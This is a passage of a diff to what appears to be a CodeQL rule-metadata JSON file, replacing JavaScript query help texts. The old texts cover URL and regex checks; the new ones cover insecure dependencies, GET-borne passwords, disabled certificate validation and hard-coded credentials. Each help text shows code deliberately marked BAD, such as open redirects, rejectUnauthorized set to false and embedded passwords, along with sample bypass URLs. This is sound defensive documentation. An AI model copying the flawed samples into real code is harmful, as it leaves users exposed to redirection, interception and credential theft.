URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Incomplete URL substring sanitization\nSanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts.\n\nHowever, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location.\n\nEven if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally.\n\n\n## Recommendation\nParse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThe substring check is, however, easy to bypass. For example by embedding `example.com` in the path component: `http://evil-example.net/example.com`, or in the query string component: `http://evil-example.net/?x=example.com`. Address these shortcomings by checking the host of the parsed URL instead:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param(\"url\"),\n        host = urlLib.parse(url).host;\n    // BAD: the host of `url` may be controlled by an attacker\n    if (host.includes(\"example.com\")) {\n        res.redirect(url);\n    }\n});\n\n```\nThis is still not a sufficient check as the following URLs bypass it: `http://evil-example.com` `http://example.com.evil-example.net`. Instead, use an explicit whitelist of allowed hosts to make the redirect secure:\n\n\n```javascript\napp.get('/some/path', function(req, res) {\n    let url = req.param('url'),\n        host = urlLib.parse(url).host;\n    // GOOD: the host of `url` can not be controlled by an attacker\n    let allowedHosts = [\n        'example.com',\n        'beta.example.com',\n        'www.example.com'\n    ];\n    if (allowedHosts.includes(host)) {\n        res.redirect(url);\n    }\n});\n\n```\n\n## References\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n",
+            "markdown" : "# Dependency download using unencrypted communication channel\nUsing an insecure protocol like HTTP or FTP to download build dependencies makes the build process vulnerable to a man-in-the-middle (MITM) attack.\n\nThis can allow attackers to inject malicious code into the downloaded dependencies, and thereby infect the build artifacts and execute arbitrary code on the machine building the artifacts.\n\n\n## Recommendation\nAlways use a secure protocol, such as HTTPS or SFTP, when downloading artifacts from an URL.\n\n\n## Example\nThe below example shows a `package.json` file that downloads a dependency using the insecure HTTP protocol.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"http://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\nThe fix is to change the protocol to HTTPS.\n\n\n```json\n{\n  \"name\": \"example-project\",\n  \"dependencies\": {\n    \"unencrypted\": \"https://example.org/foo/tarball/release/0.0.1\",\n    \"lodash\": \"^4.0.0\"\n  }\n}\n```\n\n## References\n* Jonathan Leitschuh: [ Want to take over the Java ecosystem? All you need is a MITM! ](https://infosecwriteups.com/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb)\n* Max Veytsman: [ How to take over the computer of any Java (or Closure or Scala) Developer. ](https://max.computer/blog/how-to-take-over-the-computer-of-any-java-or-clojure-or-scala-developer/)\n* Wikipedia: [Supply chain attack.](https://en.wikipedia.org/wiki/Supply_chain_attack)\n* Wikipedia: [Man-in-the-middle attack.](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Common Weakness Enumeration: [CWE-300](https://cwe.mitre.org/data/definitions/300.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
-            "description" : "Security checks on the substrings of an unparsed URL are often vulnerable to bypassing.",
-            "id" : "js/incomplete-url-substring-sanitization",
+            "tags" : [ "security", "external/cwe/cwe-300", "external/cwe/cwe-319", "external/cwe/cwe-494", "external/cwe/cwe-829" ],
+            "description" : "Using unencrypted protocols to fetch dependencies can leave an application\n              open to man-in-the-middle attacks.",
+            "id" : "js/insecure-dependency",
             "kind" : "problem",
-            "name" : "Incomplete URL substring sanitization",
+            "name" : "Dependency download using unencrypted communication channel",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.8"
+            "security-severity" : "8.1"
           }
         }, {
-          "id" : "js/overly-large-range",
-          "name" : "js/overly-large-range",
+          "id" : "js/sensitive-get-query",
+          "name" : "js/sensitive-get-query",
           "shortDescription" : {
-            "text" : "Overly permissive regular expression range"
+            "text" : "Sensitive data read from GET request"
           },
           "fullDescription" : {
-            "text" : "Overly permissive regular expression ranges match a wider range of characters than intended. This may allow an attacker to bypass a filter or sanitizer."
+            "text" : "Placing sensitive data in a GET request increases the risk of the data being exposed to an attacker."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Overly permissive regular expression range\nIt's easy to write a regular expression range that matches a wider range of characters than you intended. For example, `/[a-zA-z]/` matches all lowercase and all uppercase letters, as you would expect, but it also matches the characters: `` [ \\ ] ^ _ ` ``.\n\nAnother common problem is failing to escape the dash character in a regular expression. An unescaped dash is interpreted as part of a range. For example, in the character class `[a-zA-Z0-9%=.,-_]` the last character range matches the 55 characters between `,` and `_` (both included), which overlaps with the range `[0-9]` and is clearly not intended by the writer.\n\n\n## Recommendation\nAvoid any confusion about which characters are included in the range by writing unambiguous regular expressions. Always check that character ranges match only the expected characters.\n\n\n## Example\nThe following example code is intended to check whether a string is a valid 6 digit hex color.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9a-fA-f]{6}$/i.test(color);\n}\n\n```\nHowever, the `A-f` range is overly large and matches every uppercase character. It would parse a \"color\" like `#XXYYZZ` as valid.\n\nThe fix is to use an uppercase `A-F` range instead.\n\n```javascript\n\nfunction isValidHexColor(color) {\n    return /^#[0-9A-F]{6}$/i.test(color);\n}\n\n```\n\n## References\n* GitHub Advisory Database: [CVE-2021-42740: Improper Neutralization of Special Elements used in a Command in Shell-quote](https://github.com/advisories/GHSA-g4rg-993r-mgx7)\n* wh0.github.io: [Exploiting CVE-2021-42740](https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html)\n* Yosuke Ota: [no-obscure-range](https://ota-meshi.github.io/eslint-plugin-regexp/rules/no-obscure-range.html)\n* Paul Boyd: [The regex \\[,-.\\]](https://pboyd.io/posts/comma-dash-dot/)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n",
+            "markdown" : "# Sensitive data read from GET request\nSensitive information such as user passwords should not be transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing sensitive information into the URL therefore increases the risk that it will be captured by an attacker.\n\n\n## Recommendation\nUse HTTP POST to send sensitive information as part of the request body; for example, as form data.\n\n\n## Example\nThe following example shows two route handlers that both receive a username and a password. The first receives this sensitive information from the query parameters of a GET request, which is transmitted in the URL. The second receives this sensitive information from the request body of a POST request.\n\n\n```javascript\nconst express = require('express');\nconst app = express();\napp.use(require('body-parser').urlencoded({ extended: false }))\n\n// bad: sensitive information is read from query parameters\napp.get('/login1', (req, res) => {\n    const user = req.query.user;\n    const password = req.query.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n// good: sensitive information is read from post body\napp.post('/login2', (req, res) => {\n    const user = req.body.user;\n    const password = req.body.password;\n    if (checkUser(user, password)) {\n        res.send('Welcome');\n    } else {\n        res.send('Access denied');\n    }\n});\n\n```\n\n## References\n* CWE: [CWE-598: Use of GET Request Method with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n* PortSwigger (Burp): [Password Submitted using GET Method](https://portswigger.net/kb/issues/00400300_password-submitted-using-get-method)\n* OWASP: [Information Exposure through Query Strings in URL](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_url)\n* Common Weakness Enumeration: [CWE-598](https://cwe.mitre.org/data/definitions/598.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
-            "description" : "Overly permissive regular expression ranges match a wider range of characters than intended.\n              This may allow an attacker to bypass a filter or sanitizer.",
-            "id" : "js/overly-large-range",
+            "tags" : [ "security", "external/cwe/cwe-598" ],
+            "description" : "Placing sensitive data in a GET request increases the risk of\n              the data being exposed to an attacker.",
+            "id" : "js/sensitive-get-query",
             "kind" : "problem",
-            "name" : "Overly permissive regular expression range",
+            "name" : "Sensitive data read from GET request",
             "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "5.0"
+            "security-severity" : "6.5"
           }
         }, {
-          "id" : "js/useless-regexp-character-escape",
-          "name" : "js/useless-regexp-character-escape",
+          "id" : "js/disabling-certificate-validation",
+          "name" : "js/disabling-certificate-validation",
           "shortDescription" : {
-            "text" : "Useless regular-expression character escape"
+            "text" : "Disabling certificate validation"
           },
           "fullDescription" : {
-            "text" : "Prepending a backslash to an ordinary character in a string does not have any effect, and may make regular expressions constructed from this string behave unexpectedly."
+            "text" : "Disabling cryptographic certificate validation can cause security vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
-            "markdown" : "# Useless regular-expression character escape\nWhen a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\\n` in a string literal corresponds to a single `newline` character, and not the `\\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program.\n\nThe set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal.\n\n\n## Recommendation\nEnsure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal.\n\n\n## Example\nThe following example code checks that a string is `\"my-marker\"`, possibly surrounded by white space:\n\n\n```javascript\nlet regex = new RegExp('(^\\s*)my-marker(\\s*$)'),\n    isMyMarkerText = regex.test(text);\n\n```\nHowever, the check does not work properly for white space as the two `\\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `\"smy-markers\"` instead of `\" my-marker \"`. Address these shortcomings by either using a regular expression literal (`/(^\\s*)my-marker(\\s*$)/`), or by adding extra backslashes (`'(^\\\\s*)my-marker(\\\\s*$)'`).\n\n\n## References\n* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping)\n* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation)\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
+            "text" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n",
+            "markdown" : "# Disabling certificate validation\nCertificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur\n\nWhen testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used.\n\n\n## Recommendation\nDo not disable certificate validation for TLS connections.\n\n\n## Example\nThe following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information.\n\n\n```javascript\nlet https = require(\"https\");\n\nhttps.request(\n  {\n    hostname: \"secure.my-online-bank.com\",\n    port: 443,\n    method: \"POST\",\n    path: \"send-confidential-information\",\n    rejectUnauthorized: false // BAD\n  },\n  response => {\n    // ... communicate with secure.my-online-bank.com\n  }\n);\n\n```\nTo make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`.\n\n\n## References\n* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security)\n* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)\n* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html)\n* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html).\n* Common Weakness Enumeration: [CWE-297](https://cwe.mitre.org/data/definitions/297.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020" ],
-            "description" : "Prepending a backslash to an ordinary character in a string\n              does not have any effect, and may make regular expressions constructed from this string\n              behave unexpectedly.",
-            "id" : "js/useless-regexp-character-escape",
+            "tags" : [ "security", "external/cwe/cwe-295", "external/cwe/cwe-297" ],
+            "description" : "Disabling cryptographic certificate validation can cause security vulnerabilities.",
+            "id" : "js/disabling-certificate-validation",
             "kind" : "problem",
-            "name" : "Useless regular-expression character escape",
-            "precision" : "high",
+            "name" : "Disabling certificate validation",
+            "precision" : "very-high",
             "problem.severity" : "error",
-            "security-severity" : "7.8"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/incomplete-url-scheme-check",
-          "name" : "js/incomplete-url-scheme-check",
+          "id" : "js/hardcoded-credentials",
+          "name" : "js/hardcoded-credentials",
           "shortDescription" : {
-            "text" : "Incomplete URL scheme check"
+            "text" : "Hard-coded credentials"
           },
           "fullDescription" : {
-            "text" : "Checking for the \"javascript:\" URL scheme without also checking for \"vbscript:\" and \"data:\" suggests a logic error or even a security vulnerability."
+            "text" : "Hard-coding credentials in source code may enable an attacker to gain unauthorized access."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n",
-            "markdown" : "# Incomplete URL scheme check\nURLs starting with `javascript:` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript:` scheme.\n\nHowever, the `data:` and `vbscript:` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript:`, but not against `data:` and `vbscript:`, is likely to be insufficient.\n\n\n## Recommendation\nAdd checks covering both `data:` and `vbscript:`.\n\n\n## Example\nThe following function validates a (presumably untrusted) URL `url`. If it starts with `javascript:` (case-insensitive and potentially preceded by whitespace), the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `url` itself is returned.\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\nWhile this check provides partial projection, it should be extended to cover `data:` and `vbscript:` as well:\n\n\n```javascript\nfunction sanitizeUrl(url) {\n    let u = decodeURI(url).trim().toLowerCase();\n    if (u.startsWith(\"javascript:\") || u.startsWith(\"data:\") || u.startsWith(\"vbscript:\"))\n        return \"about:blank\";\n    return url;\n}\n\n```\n\n## References\n* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n"
+            "text" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n          method:'GET',\n          headers: headers\n       })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and `password`, which can be set externally without hard-coding credentials in the source code.\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = process.env.USERNAME;\nlet password = process.env.PASSWORD;\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n        method:'GET',\n        headers: headers\n     })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\n\n## Example\nThe following code example connects to a Postgres database using the `pg` package and hard-codes user name and password:\n\n\n```javascript\nconst pg = require(\"pg\");\n\nconst client = new pg.Client({\n  user: \"bob\",\n  host: \"database.server.com\",\n  database: \"mydb\",\n  password: \"correct-horse-battery-staple\",\n  port: 3211\n});\nclient.connect();\n\n```\nInstead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code.\n\n\n## References\n* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password).\n* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html).\n* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html).\n* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html).\n",
+            "markdown" : "# Hard-coded credentials\nIncluding unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information.\n\n\n## Recommendation\nRemove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access.\n\n\n## Example\nThe following code example connects to an HTTP request using an hard-codes authentication header:\n\n\n```javascript\nlet base64 = require('base-64');\n\nlet url = 'http://example.org/auth';\nlet username = 'user';\nlet password = 'passwd';\n\nlet headers = new Headers();\n\nheaders.append('Content-Type', 'text/json');\nheaders.append('Authorization', 'Basic' + base64.encode(username + \":\" + password));\n\nfetch(url, {\n          method:'GET',\n          headers: headers\n       })\n.then(response => response.json())\n.then(json => console.log(json))\n.done();\n\n```\nInstead, user name and password can be supplied through the environment variables `username` and 